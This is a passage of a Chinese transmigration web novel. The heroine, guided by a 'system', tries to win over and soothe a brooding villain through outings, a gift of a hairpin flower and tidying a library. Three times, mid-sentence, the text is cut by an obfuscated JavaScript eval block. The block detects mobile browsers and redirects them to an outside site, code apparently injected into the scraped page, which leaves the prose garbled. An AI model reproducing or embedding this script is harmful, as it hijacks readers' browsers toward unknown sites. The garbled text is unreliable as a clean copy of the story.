隐约能听见纸张翻动的沙沙声,间或夹杂着笔尖划过纸面的轻响。 竟然会是在用功读书么。 何妙观有些惊异,轻轻叩响房门。 房内传来一阵窸窣声,有人在匆忙收起什么。片刻后,门吱呀一声打开,露出燕之郁略带着倦意的脸。 他面容白皙无瑕,显得眼下的青影愈加分明。 “何小姐?”他看上去有些讶异。 何妙观晃晃手中提着的漆木食盒,走进屋内:“他们说燕郎君总是很晚才歇息。这是天麻炖乳鸽,可以养神补气,趁热喝吧。” 临窗的桌案上一灯如豆,上面是一本摊开的书籍,书页上有圈点勾画的痕迹,可惜隔得太远,何妙观看不清上面写的是什么。 燕之郁望着汤盅里浮动的油星,柔柔地笑着:“这样金贵的东西,何小姐不吃,郁怎么好意思。” 何妙观道:“我在屋里已经喝过一盅,燕郎君尽管吃吧。” 燕之郁还是不动筷。 事到如今,还是这么客气。何妙观很无奈。 她只好先舀一碗,慢慢喝下,再度道:“你在何府,不必如此拘束的。” 燕之郁这才执起调羹,缓缓饮下半碗,喉结随着吞咽的动作轻轻滚动。 “燕郎君平日都在忙些什么?”何妙观问。 燕之郁站起身,指指桌案上的书籍:“大部分时间在等何小姐来,其余的时候便随便翻看些不入流的话本。”说着,眼睫低垂,“何小姐将郁收留在府内,就什么也不做么?” 这令燕之郁很困扰。 何妙观既不见他,也不差遣,倒使他无从揣测意图。 “啊?你每天都在等我?” “嗯。” “不用等我的,你、你可以找点喜欢的事做。” 燕之郁望着她,眼睛一点点弯起来:“可我喜欢的事,就是同何小姐一起。” 何妙观一时语塞。 尽管知晓他说的并非实话,但何妙观还是感到不好意思,把目光从风华万千的脸上移开。 每天晚上,她都会让系统查询燕之郁的好感度,但一个多月下来,还是一个人物故事都不能解锁。 这意味着燕之郁的好感度,和初见时一样,依旧是“零”。 “人在屋檐下,哪能不低头”,他言不由衷,似乎也不能怪他。 但每每看到他温柔的笑意,又想到为“零”的好感度,何妙观依旧不免难受。 何府里,对原主好感度高的,如陈寄柔,能达到一百。 一般一点的也有六十,再低下去便是大兄,但也有四十…… 从还没见过一个像燕之郁一样,好感度是“零”的人。 就连看门的仆役,对原主的好感度也有二十。 好感度是“零”,意味着如今的她对燕之郁来说,仍旧是个陌生人。 还是个有点讨厌的陌生人。 何妙观不知道怎么让人对自己有好感。她小时候以为讨好别人,别人就能喜欢她。所以,最开始的时候,她对继母和继弟的态度一直很好,每逢节日都会给他们准备礼物,可他们还是不喜欢她,动辄冷嘲热讽。 在学校里,因为性格内敛话少,人缘也不算太好。 人际交往对何妙观来说又困难又痛苦,她不想思考这些。 “燕郎君,可以看看你在读什么书么?” “可以的。” 何妙观在案边坐下,将书翻到封面。绯红的封皮上,赫然写着“路边捡到貌美夫婿”一列字。 竟会是何宝珠前些日子提过的三流话本。 明明看书的是不是自己,何妙观却有上课看漫画被老师逮住的心虚,皮笑肉不笑道:“这、这书好看吗?” 站在一侧的燕之郁忽然走近,俯下身来。 “郁尚未看完。但想来不过是些才子佳人的故事,用来解闷而已。” 眼前光线渐暗,少年清瘦的身影笼罩下来,伴着夜风和香气。 两人的距离很近,何妙观能闻到他身上沐浴后清浅的皂角味。 余光中,少年微微松开的衣襟轻轻晃荡,白皙的肩颈在烛光下泛着如玉的光泽。 何妙观不敢再往下看。 “何小姐平日读什么书?” “我、我……我不读书……” “……” 空气一片寂静。 燕之郁微微睁大眼睛,长睫轻颤,像是被这出人意料的回答惊到。片刻后,他笑道:“何家藏书万卷,何小姐怎会不读书呢?” “真的、不读。”何妙观硬着头皮继续,“我、我这段时间一看书就头疼。” 燕之郁不由暗笑。 刚来扬州时,他在一次酒宴上,听人提起过何家这位小姐。那官员同何刺史的政见不同,对何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345058|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家每个人都颇有怨言。他说,何家小姐喜好男色、为人轻浮、大脑空空,没有一点大家闺秀的样子,嚣张跋扈不懂事,十五岁的时候,还把一个不听话的小伶人打个半死,何徵有这么个闺女,真是丢尽江南世族的脸。 可现在,仅仅是靠得近一些,这何小姐连话说的都有些不利索。 燕之郁不由在想,到底是那人太讨厌何家,还是这位何小姐真如那日所说,“已有悔改之心”。 “何小姐平日都做些什么消遣?”他直起身,拉开距离,宽大的衣袖随着动作轻轻摆动。 “普普通通吃喝玩乐而已。”何妙观终于能够顺畅地呼吸。 “就像这些日子和宝珠小姐那样么?” “嗯。” “真好。”燕之郁展颜一笑,“郁也想同何小姐一起去呢。” “啊……”何妙观心头一跳,差点被自己的口水呛到,“可是、可是这不方便。” “为什么?郁哪里做得不好么?”燕之郁垂下眼睫,一副很失落的模样。 “不是的。”何妙观绞尽脑汁想找个借口,“那些地方不适合燕郎君去。” “为何不适合?”燕之郁追问,“是因为郁身份低微么?” “当然不是!”何妙观急得额头冒汗,“是因为、是因为……好吧,燕郎君,明日我带着你。” == 日光晴朗,微风和煦。一行人沿着秦淮河慢慢走着。 走在最左侧的少年轻哼着《扬州慢》,似乎心情极好。 “燕郎君,除却《扬州慢》,你还会唱什么?” 何宝珠兴致勃勃地问。 燕之郁略作思索,缓缓道:“《折柳枝》《采莲曲》《金缕衣》都很擅长,何小姐想听什么?” “燕郎君能不能唱《采莲曲》?”何宝珠立刻接话。 “不能。”燕之郁干脆地摇头。 “啊?为什么?!”何宝珠气愤道。 “何小姐想听才是可以的。” “你你你!姑姑,你管管燕郎君!他欺负宝珠!”被区别对待的何宝珠气得跺脚,“明明宝珠也姓‘何’,怎么就不是何小姐?” 何妙观受不住明晃晃的讨好,轻声道:“燕郎君,你别欺负宝珠。” “哦。”少年翩然绕到另一侧,转眸问道,“所以何小姐想听什么?” “那、那就《采莲曲》吧。” “荷叶田田风细细,菱舟摇碎日影迟。 阿侬撑篙入藕花,不采莲子只采诗。 郎在桥头等多时,露水沾湿白罗衣。 若是真心来相见,莫待莲枯藕断丝……” 这日要去的清乐坊和其他声色犬马的坊间不同,只设有投壶、射箭、对弈等雅戏,因而最受江都县的文人雅士青睐。 何妙观决定带燕之郁先试试投壶。 经过半月的练习,她已学得七八分模样,常引得看客一阵叫好。 今日的彩头是西域引进的琉璃盏,通体晶莹剔透,壶身还雕着缠枝莲纹,经阳光折射,散发出七彩的光晕,一看便可知是少见的珍品。 “郁没学过这些。”燕之郁站在一旁,指尖轻轻拨弄着箭矢,“劳烦何小姐教导。” 少年温热的呼吸若有似无地拂过耳畔,带着清浅的熏香,让人耳尖发烫。 何妙观轻咳一声,接过箭矢,故作镇定道:“很简单的,你待会认真看我的动作。” 片刻后,三支箭矢依次“啪”地撞在壶沿,弹飞出去。 “……” 何妙观又恼又羞,重新取过一支,手腕一抖,潇洒地抛出去。 但仍是没中。 “何大小姐今日怎么回事啊?” “啊哈哈哈,何大小姐也有今天!” 看客们一边笑一边打趣。 何妙观咬咬唇,不愿再当着这么多人的面出丑,将箭矢递过去:“燕郎君,要不你试试?” 8.八 燕之郁掷箭的姿势很漂亮。 少年手腕微沉,骨节分明的手指捏着箭尾,轻轻一转。 洁白的箭矢在空中飞掠出优美的弧度。 何宝珠屏住呼吸。 然而,“叮”的一声后,羽箭堪堪擦过壶耳,罗在一旁。 即便是大反派,在投壶上和自己也没什么区别。 想到这里,何妙观实在忍不住,轻笑出声。但又觉得这样不地道,很快收起笑意,拽着少年的衣袖,故作生气道:“这投壶和我们过不去,燕郎君,我们去看宝珠弹棋吧?” “好。” 何妙观拽着他挤过层层叠叠的人群。 弹棋是一种以指弹棋、以巧取胜的雅戏。棋盘四角隆起,中央如覆盂,对弈的双方各执十二枚棋子,以指轻弹,使己子击打敌子,令敌子落入中央凹陷处则为胜利。棋子在檀木棋盘上碰撞时,会发出清脆悦耳的“叮咚”声,故而也称为“鸣棋”。 他们赶到时,比赛正打得火热,何宝珠站在一边,杏眼圆睁,白皙玉嫩的芙蓉面因为兴奋泛着红晕。 局势已至关键,宝珠占尽上风,便将筹码一并推出,势要一局定胜负。 “全要砸进去?”何妙观有些愕然。 “姑姑,宝珠这是要‘不成功便成仁’,若是这盘能赢,宝珠能拿到……” 足足五两银。 想到这里,何宝珠忍不住笑出声,盘算道:“到时候宝珠分给姑姑二两——” “难怪这些日子总不见人影,连女红都不学,原来是在这厮混。” “何宝珠,你好大的胆子!” 何宝珠猛地噤声,身子僵硬。 不远处,站着的是面色阴沉的姜氏。 “阿、阿娘?” 何宝珠惊叫一声,也不管棋局如何,一下子钻到何妙观身后,整个人都抖起来。 姜氏冷哼一声,转身向雅间走去。 “姑姑……”何宝珠眼眶微微红着,祈求地看着妙观,“能不能陪宝珠一起进去?” 雅间内,姜氏坐在软椅上,两位婢女在一旁给她倒茶捏肩。貌美的妇人紧紧蹙着眉,柳叶眼里蕴着怒火。 “阿娘是不是说过,不许来这些地方?嗯?” 何宝珠低着头,绞着衣角,声音很低:“阿娘,我、我只是……对不起。” “宝珠,你且从实同阿娘说,是不是你缠着小姑子带来的?” “不是的阿娘!”何宝珠连忙抬起头,“是、是燕郎君说这里有趣,姑姑才要带我们来的。” 何妙观微微一愣,没有想到宝珠会说这样的话。 “哦?是么?”姜氏冷嗤一声,神情愈加轻蔑,“一个靠脸吃饭的清客,哄得小姐们日日往外跑,以为别人看不出什么心思么?真是一点脸也不要!” 这话说的难听,何妙观听得不是滋味,连忙道:“二嫂,是我带他们出来的。” 姜氏本就不喜欢这位生性爱玩的小姑子,都是她,才把何家的名声败得一干二净的。 但无奈老夫人对小姑子却很是宠爱,平日在府里也不便说重话。 更何况,这小姑子本人也不是吃素的。虽然平日里温温柔柔,但心狠起来,对自己的恋人也下死手。 姜氏想起两年前的丑闻,神色肉眼可见地沉下去。 “小姑子,宝珠还小,你这样带着宝珠胡闹,传出去像什么话?”姜氏摇摇头,“宝珠和小姑子不一样,没有老夫人的宠爱撑腰,没有什么绸缎庄作嫁妆。妾作为娘亲,只想着宝珠未来能嫁个好夫君,姑娘家家的,名声最要紧。” 何妙观不擅长和人辩驳,抿着唇点头。 她不回顶,让姜氏既讶异又满意,重新看向宝珠:“你这个月不许出门,在家里好好反省!” 听到这,何宝珠的眼泪吧嗒吧嗒直掉,呜咽道:“阿娘,宝珠知错……” 姜氏见她服软,不愿骂得太狠,又转向何妙观:“老夫人既然好心留燕郎君,小姑子也该教他知道分寸,不要以为仗着姿色,就能在何府兴风作浪。不然闹得和上一位一样,也不好看。” “二嫂,他不——” “二夫人教训的是,郁不该带着宝珠小姐胡闹。回府后,会好好思过的。” 燕之郁恭恭敬敬地行了一礼,声音轻柔。 姜氏心满意足地点点头:“这还差不多。宝珠,赶紧把眼泪擦干净,少在这丢人现眼。” 宝珠哭哭啼啼地跟着姜氏离开,屋内只剩下两人。 何妙观心中五味杂陈。 姜氏作为何宝珠的母亲,希望宝珠知书达理,将来能有个好归宿,于情于理都没有错。姜氏不可能骂宝珠太难听的话,辱骂也只能落在燕之郁身上。毕竟燕之郁在姜氏眼中,只是一个突然来到何府的外人。 “何小姐,要继续么?”身边的人忽然问道。 “什么?” 他抬起头看天色:“时候还早,还能在这里多玩一会。” 何妙观怔怔地抬起眼,试图从他脸上找到一丝羞惭的情绪。但少年唇边噙着浅笑,眼角微弯,神色依旧春意,仿佛方才那场难堪从未发生过。 被人羞辱却不形于色,果然很有做反派的料。 何妙观不知自己该喜还是该忧。 “何小姐不舒服么?”燕之郁走近两步,微弯下腰,打量她的脸色。 “没、没有。”何妙观摇头,“我是在想,该怎么和你道歉。” 他微微一怔。 “这件事说到底是因我而起。二嫂不能骂我太难听的话,便把怒火浇在你身上,我方才没有护好你,不应该向你道歉吗?”何妙观分析道。 他没有立刻回应,片刻后,平淡道:“该道歉的另有旁人。” “二嫂么?”何妙观苦笑,“可她也有她的苦衷。” “不是二夫人。是何宝珠。”燕之郁淡淡道,“宝珠小姐没有说真话。” “宝珠是不愿意让我为难,才说是你的……”何妙观维护道。 似是听到什么有趣的事,燕之郁轻轻笑起来,声线含着玩味:“既然这样,何小姐要怎么道歉?” “刚刚我没能帮燕郎君说话,让你平白无故受委屈,实在对不住。”何妙观略一欠身,“晚上请燕郎君吃一顿好的做补偿,这样够不够?” 燕之郁还是没有立刻回应。 山脉蜿蜒曲折,是谓“委屈”;臣子难言的隐情,亦是“委屈”。 伴君如伴虎,李循年纪尚轻,喜形于色,他在李循身边多年,有些事情不便如实禀报,作为臣子,确实常有“委屈”。 可他刚刚没有委屈。 何妙观以为他不满足,又道:“燕郎君还想要什么?唔……我们可以去东市买点礼物。但还剩的银钱不多,若是买东西,便只能回家吃……” “去东市吧。”燕之郁回过神。 临近日暮,东市喧阗热闹。叫卖声、讨价声此起彼伏。 两人一个个摊子看过去,最终停在卖簪花的摊子前。 在北梁国风俗里,不论是男子还是女子,遇到重要的场合,都可在头顶簪花——据说这一风俗和当朝的一位公主有关。 何妙观第一日见到时还觉得男子簪红花奇怪,但一旦见得多,便也习惯,甚至品出些别样的风味。 簪花用的是苏州绣娘的堆纱手艺。先将上好的丝绸染成各色花瓣,再以银丝为骨,层层堆叠而成。既有真花的鲜活灵动,又能贮存许久不褪色,售价也极是昂贵。 “郎君是要给小娘子卖花么?”卖东西的小贩呵呵笑道,“青花清雅脱俗,红花能把人趁得有气色,粉花显得人娇嫩,紫花最有韵味。郎君要哪个?” 燕之郁的目光扫过琳琅满目的花枝: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351697|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “何小姐替郁选一支吧。” 小贩听出两人的身份,连忙改口道:“小姐好眼光,这粉色堆纱海棠最是衬少年郎,既不失俊朗,又添风流韵致。” “燕郎君今年多少岁?”何妙观问。 “十七。” “那粉色吧,粉色娇嫩。” 买完花后,两人沿着河岸缓步而行,向仁丰里走去。 正是东市最热闹的时间点,桥头马车堵塞,衙役们正指挥着行人在桥下等候。 趁着等待的间隙,燕之郁便将那支堆纱海棠递来,微微低下头。 “劳烦何小姐。” “我帮你簪?”何妙观一怔。 “这里还有别人么?”他含笑着问。 暮风拂过,送来少年发间发膏的松香。 把花枝插进束发的木簪旁,该是一件极简单的事。何妙观想。 她一手压着发,另一手把花簪往里面插。但没想到,他的发式本并不牢固。花簪的末端刚触及发髻,整束乌发便如瀑布般倾泻下来,从指缝间流散。何妙观手忙脚乱地想要补救,但发丝如同绸缎般流泻,双手也接不住。 “等一下……” 何妙观想起小时候给同桌编辫子的情形,将他的长发松松挽起,分作三股,逐一编织后交错起来,挽成垂在肩侧的慵懒发髻,最终用花枝固定。 这发式看上去很是随性,碎发垂落颈侧,衬得少年整个人都透着风流落拓。 何妙观停下手中的动作,绕到前面,细细端详。 不错不错,很漂亮。 或者说,有这样一张鲜丽秀致的脸,配上什么样的发式都好看。 “燕郎君要不先看看?” 周遭没有铜镜,唯有潺潺流过的秦淮河水。 燕之郁倚着阑干向下望,落日熔金,波光粼粼的河面上,映出两人的倒影。 少年沉默许久。 “你不喜欢的话,我重新编。”以为他不悦,何妙观慌忙伸手,却被轻轻避开。 “很喜欢。” “真的?” 燕之郁微微颔首:“何小姐可知道杜澹庵?” 杜澹庵?这不是原书里的人物吧? 何妙观没有任何印象。 燕之郁解释道:“杜澹庵曾是左丞相。他年轻时在东山隐居,为求方便,常常梳此发式。因此世人皆道这种发式最显名士风流,称它为‘东山髻’。”他指尖轻抚垂落的发丝,眼中泛起追忆之色,“郁年少时就向往杜相的风骨。” 原来自己随手一编的头发,在这个世界有如此典故。 何妙观一时得意道:“希望燕郎君未来能成为杜相一般的人。” 燕之郁亦是淡淡一笑:“承蒙何小姐抬举。” 二人回到何府时,天色已完全暗下来。蓝紫色的天空中飘着碎云,是将要落雨的迹象。 晚间来膳堂的人不多,宽大的紫檀圆桌边,只坐着何家女眷。 何宝珠因为哭得眼睛肿,不愿意来。 “燕郎君的事,阿娘同你阿父提过,但他尚未答复。”晚膳快结束时,陈寄柔道,“过些日子,你阿父回江都,囡囡你想想该怎么说服他。” 何妙观连忙称是。 “至于今日的事……”陈寄柔一叹,看向低头拭着泪的姜氏,“娘知道你是为宝珠好,但既然囡囡愿意带小燕郎君回来,就是一家人,你同小燕郎君说话也要客气些。” 姜氏用帕子沾着脸:“老夫人,妾是怕宝珠被带坏,更怕闹出以前那样的事……” “那只是意外。”陈寄柔摇摇头,“到底是住一块的,抬头不见低头见,不要闹得太难看。” 姜氏不情不愿地称是。 “哦,还有一事。文曜说,长安有个御史要来江都查案,估计得在我们府里住上十天半月。令仪、映素,你们好好筹备。” 9.九 燕之郁走进屋内,点亮烛火。 铜镜里浮着一张玉胎瓷塑的脸。 时隔多年,他没想到还能再一次见到东山髻,竟然会是在自己身上。 实在是有些荒唐。 少年的思绪被拉回到很久很久以前。 永昌十四年的腊月,他第一次遇到杜澹庵时,男人便梳着这样的发髻。 长安的冬夜很冷,年幼的燕之郁蜷缩在城郊的破庙里,饥寒交迫。意识昏昏沉沉时,一双螭纹锦靴停在他面前,接着是铺天盖地、令人窒息的浓郁的檀香。他抬起头,看到衣着玄色狐裘的男子垂眸,含笑看着自己。 男人梳着松松垮垮的东山髻,墨色的玉簪映着雪光和月光。 “你叫什么名字。”男人的语气轻飘飘的,就像冬日的飞雪。 “回、回先生,我叫燕之郁。” “燕之郁?”男人轻轻笑起来,“从今往后,你便跟着我姓‘杜’吧。” 他住进杜家后,人们便叫他“杜之郁”。 最初他很感激杜澹庵,甚至叫过他“阿父”。但那样的日子没有持续太久。 燕之郁不愿意再回想杜家堀室里潮湿阴冷的味道,以及那一点一滴的、令人头皮发麻的水声。 李循登基后,少年帝王尚不知君臣有别,圣宠无度,知他憎杜澹庵入骨,便下令禁掉“东山髻”。此后,在永昌年间风靡一时的东山髻,长安城内再无人敢梳。 铜镜中的东山髻迤逦,垂下的发丝随着浮动的空气,微微晃动。 燕之郁唇角微扯,将花簪取下。发髻轰然坍塌,乌发如瀑垂落,遮住他半边侧颜。 屋瓦一阵轻微的响动。 “清崖,公子他……” “嘘,少说点话。” “出来吧。”两息之间,燕之郁重新挽好头发,神色如常。 两道黑影如流水般滑到地上。 “公子,杜鹤安的车马,至多再过三日,便可抵达江都。”清崖低声道,“而且,属下还听说,端阳郡主过段时间也要来。” “端阳郡主?”燕之郁思索片刻,仍旧无果,抬眸问道,“这是谁?” “燕公子,这郡主是长公主的表妹,周国公的嫡女周扶摇。周扶摇爱慕杜鹤安许久,但公子也知道,杜鹤安和楚家小姐两小无猜,根本没这郡主的事。此番郡主来扬州,属下猜,估计是想凭借周国公在这边的势力,给杜鹤安卖个人情,帮他查案子。”一说起世家里的八卦,清崖讲得眉飞色舞,很有兴致。 燕之郁挑挑眉,语气淡淡:“哦。” 清崖想也是。自家公子圣眷正浓,即便是长公主亲至,也不带怕的,担心一个郡主做什么。 燕之郁的目光落在一旁的清泉身上:“你有什么想说的?” 清泉笑嘻嘻道:“回公子,属下今日来,只是想熟悉熟悉公子的新住所,方便以后禀报。” 简而言之,闲着没事,来看戏的。 燕之郁懒得搭理他,走到屏风后开始更衣。 清崖又跟着问道:“燕公子,您接下来,真要一直在这住呀?” 燕之郁动作微顿,没有回答。 何家小姐带给他的感觉很违和,就像是一根细小的刺,不拔出来,便始终硌在心头。 他最讨厌这样的感觉。 “燕公子,属下还有一事想要禀报。”清崖见状,又小声道,“扬州府给杜鹤安的宅邸还未休整好,接下来,杜鹤安可能也要住在何家……所以,公子平日或许会和他碰上面。” 何家的客房也在东院。倘若杜鹤安住进来,何止是是碰上面,他们应该会抬头不见低头见。 燕之郁系好衣带,从屏风后转出,神色平静。 “这不挺好的。” “我还挺想念他的。” == 东厢房内,熏香缭绕。 刚沐浴完毕的何妙观躺在榻上,阖上眼,正准备入睡。 【温馨提示,宿主,反派的黑化值有所升高。】 【请宿主及时关注反派的心理健康。】 什、什么? 何妙观顿时坐起,睡意全无。 “小姐这是怎么啦?”刚点完安神香的阿葵吓一大跳。 “没什么,阿葵。”何妙观深吸一口气,“刚刚……我,我腰有点痒。” 何妙观又重新躺下,呆呆地望着帐顶绣着的缠枝莲纹。她实在想不明白,前些日子不理燕之郁还没事,今日带他出去玩,怎么还反倒升高呢?难道是因为姜氏的话生气? 灯灭后,何妙观在榻上辗转反侧。 “具体升高多少?” 【五个百分点。】 整整五个百分点! 那岂不是说,有二十个人骂他,他就直接黑化到满级?! 何妙观想起白日里燕之郁垂眸浅笑的模样,又想起他指尖抚过发间海棠时的温柔神色。 原来这人是表面上笑吟吟但内心已经气个半死的类型。 这种性格不黑化才怪呢! 翌日清晨,顶着黑眼圈的何妙观,带着阿葵和阿菁直奔东市。 她想,既然燕之郁过去抄书卖画,那送一套文房四宝做赔礼总不会错,便在万宝斋细细挑选,选出一套最金贵的笔墨纸砚,以姜氏的名义托人送去。 【宿主认为,燕之郁的黑化值升高和姜映素有关?】系统道。 何妙观笃定地点点头:“对。昨天只有姜映素骂过他。” 【这……宿主,《冠缨录》中每个角色都有他们对世界的“权重”。】 【作为男主的杜鹤安权重最高,反派燕之郁次之,女主楚箬兰又次之。而作为镶边配角的姜映素,权重太低,不足以影响反派。】 姜映素权重太低,不足以影响反派? 何妙观还是想不明白。 如果燕之郁不是因为姜映素“黑化”,难不成是因为自己?毕竟,府上和燕之郁有联系的,只有她和何宝珠而已。而“何妙观”作为原书女三,权重自然会比何宝珠大一些。 何妙观回忆起自己往日的言行,感到背后一股凉意。 ……这人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358665|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该不会是因为最初的那一句“清客”记仇吧?因为一直忍着,在昨日被姜映素的话一刺激,爆发出来,于是……黑化值直接猛涨五个百分点? 想到这里,何妙观眼泪都要落下来。 正在此时,外头响起敲门的声音,阿菁走进来。 “小姐,燕郎君想要见你。” 何妙观连忙从美人榻上坐直身子,整理好衣襟。 少年今日穿着青绿色的圆领袍,腰间束着一条素色的丝绦,显得腰身清瘦而纤细。他鬓发用昨日的花簪松松挽着,丝丝缕缕的碎发垂在颈侧,随着动作轻轻晃动。明明是很素净的打扮,却因为眼角两点泪痣平添艳色。 何妙观看着他轻拢衣摆,施施然在自己对面落座。 “郁知道那些墨宝,是何小姐送的。”他黑岑岑的桃花眼一瞬不瞬望过来。 何妙观并不想隐瞒他,解释道:“我怕你还在因为二嫂的话生气,所以才这样。” “郁不会因为二夫人说的话生气。”燕之郁摇摇头,“何小姐,郁不是小肚鸡肠之人。” “那燕郎君会因什么生气呢?”何妙观趁此问道。 “会因无凭无据的折辱生气。但二夫人说的那些话,却不算折辱。毕竟郁确实未替何府立过寸功,反倒白吃白住许久,还得到何小姐的偏爱。旁人这般说,倒也合情合理。”他云淡风轻地回道。 何妙观哑口无言,半晌,才慢慢道:“原来你是这样想的。但我还是有一事要说明,虽然我从未将燕郎君视作清客,但府中下人却多有闲言碎语,二嫂那般说话,估计也是出于此因。因此,昨夜我向阿娘提过此事,阿娘说,往后谁再敢议论燕郎君,一律会按家法处置。” 燕之郁眸光微动,指尖轻轻摩挲着茶盏边缘:“何小姐不必如此费心的。” 她昨日趁着晚膳告姜氏的状,倒不全然是为燕之郁,也是为她自己。虽然原主从不在意自己的名声不好,但何妙观很在意,她从小脸皮薄,偶尔遇到周围的人打趣她和燕之郁的关系时,常常会手足无措,又因为不能崩掉原主人设,不得不装出毫不在意的样子。 何妙观神色认真:“倘若燕郎君在何府时还不及过去一个人生活快活,反倒是违背我的本意。我内心过不去。” 燕之郁柔柔笑道:“怎么会……在何府,郁能日日见到小姐,便比往日开心许多。” “燕郎君,别打趣我。” 何妙观避开他的视线,轻咳一声。 若不是知道他的好感度是零,她或许会觉得这般花言巧语很是动听。 燕之郁本想再随口说上一两句的。在长安同那帮老狐狸虚与委蛇太久,阿谀奉承的话便能信手拈来。但没想到,这位何小姐的承受能力竟然这样低,短短两句就面颊绯红,便也不再言语,只是微微偏着头,唇角噙着温和的笑意。 “哦,还有一事。”忽然想起什么,何妙观容色收敛,严肃道,“阿父过些日子就要回来。因此我希望燕郎君和我一起整理书阁,到时候能在阿父心里留一个好印象。燕郎君,你……会有空的吧?” 10.十 藏书阁位于中院的西侧,前方是一片青翠的竹林。盛夏时节,竹林青翠欲滴,斑驳的竹影投映在阁楼的纸窗上,将光线都滤成淡青色。 守在门口的小厮看见两人过来,一边问好,一边推开房门。 迎面而来的是陈年纸张的霉味,混合着檀木书架的淡香。 “燕郎君,这边交给你。”何妙观点点靠窗的两排书架,“你若是有不清楚的地方,可以来问我。” 高一的时候,何妙观就参加过文学常识大比拼的比赛,甚至进入省里的总决赛,因此对经史子集的分类很熟悉。 “好,都听何小姐吩咐。” 燕之郁乖巧地点点头。 何妙观走到最里面,紫檀木架上放着的是何徵搜集的孤本珍本。 原书里的何徵,是个风雅之士,平日里最爱吟诗作赋,喜欢收集北梁国名士的笔墨。不论是长安翰林学士的新作,或是山野隐逸高人的手稿,但凡有些意趣的,何徵总要千方百计求来一观。 《浣锦词》《塞上鸣镝录》《谪仙曲》《东山词》…… 何妙观的目光停在《东山词》上,翻开书页,果不其然扉页上写着“杜澹庵”三字,继续往后翻,映入眼帘的是密密麻麻的自序。 “圣人绍天明命,统御八荒,臣以菲才承恩,得侍紫宸。每念主上知遇之隆,虽肝脑涂地,未足报万一。昔年奉诏入直,夜半草檄,烛烬而墨凝,圣人亲赐宫烛,命内侍传膳。唯以秃管钝思,竭诚报效而已。……内子周氏,温惠淑慎,事臣十年,未尝有违。每值臣退食夜归,必亲执红烛,候于中庭。……长子秀奴,年方九龄,已能诵《玄鸟》。见臣展卷,必匍匐案侧,以稚指描摹字画。臣偶有暇,辄抱置膝上。……今辑此集,半为应制,半为抒怀。圣上尝谓:卿之文章,譬如太华晴雪,皎然尘外。既蒙天语褒奖,臣复何求?” “永昌十三年冬十一月,澹庵自序于长安玉烛堂。” 没想到穿越到这个世界,还要做文言文的阅读理解。 何妙观哭笑不得。 但好在她古文功底尚可,半炷香过去,大致明白杜澹庵在写什么。 这个杜丞相的意思是,他对皇帝很忠心,他很爱自己的妻子,他很喜欢自己的长子,他很自信自己才华横溢。 里面提到的“秀奴”,便是他长子的小名。 姓杜,并且官居宰相。 何妙观猜测杜澹庵和男主杜鹤安应该有关系,继续往后翻,视线停在目录中的《永昌元年七月初七为秀奴所作》。 “鹤唳九霄外,安栖一枝难。 此羽非凡品,宁同燕雀欢? 但存凌霄志,莫惧朔风寒。” 原来“鹤安”的意思是“鹤唳九霄外,安栖一枝难”。 这个杜丞相,果真是男主的父亲。 出身长安权贵,家庭和美,父母恩爱。即便位高权重如丞相,杜澹庵也从未纳过妾,和妻子周氏举案齐眉,对他这个长子亦满是期待和希冀,不得不说,男主就是男主,一出生就可以写一篇《我的宰相父亲》。 可是,既然专门写的是“长子”,那么应该还有个“次子”才对吧? 何妙观还想往下翻,却听到一阵脚步声,甫一抬头,便看见少年风华却倦怠的脸。 “燕郎君,你都理完啦?” “嗯。” 何妙观看着乱糟糟的书架,心虚道:“我这边还差一点。你先休息会?” 燕之郁摇摇头:“何小姐休息,这边也交给我吧。” 阳光透过窗棂照在他的脸上。他低垂的睫毛在眼下投下细碎的阴影,衬得脸色愈发苍白。 “那我们一起理。”何妙观还是不好意思。 燕之郁看着她,犹豫片刻,轻声道:“那样的话,估计还没有郁一个人理得快。” 啊……? 他以往言语素来温和,今日这直白地嫌弃,让何妙观又无措又尴尬,一句话也没说,面无表情地在椅子上坐下。 少年心思敏锐,解释道:“何小姐不要生气。郁没有别的意思。只是理书一事,每个人的偏好习惯不同。若不同的章法混在一处,反倒要重新来过。” 何妙观没想到自己的心思都摆在脸上,更觉得难堪。 “没,我没生气,我只是不想说话……我、我也不是小肚鸡肠的人。” 身前传来一声极轻极浅的低笑,何妙观抬起眸,少年已背过身向书架走去。 因为袖袍宽大,他把袖子挽到手肘处,露出白得近乎透明的小臂,在薄薄的皮肤下,淡青色的血管若隐若现。系的很紧的衣带将他的腰勒得很细,故而有些弱不禁风的姿态。 何妙观呆呆地看着,思绪飘得很远。 一个很古怪的想法冒出来。 如果燕之郁因为意外死掉,他便没办法黑化下去,这样的话,是不是也能算完成任务? 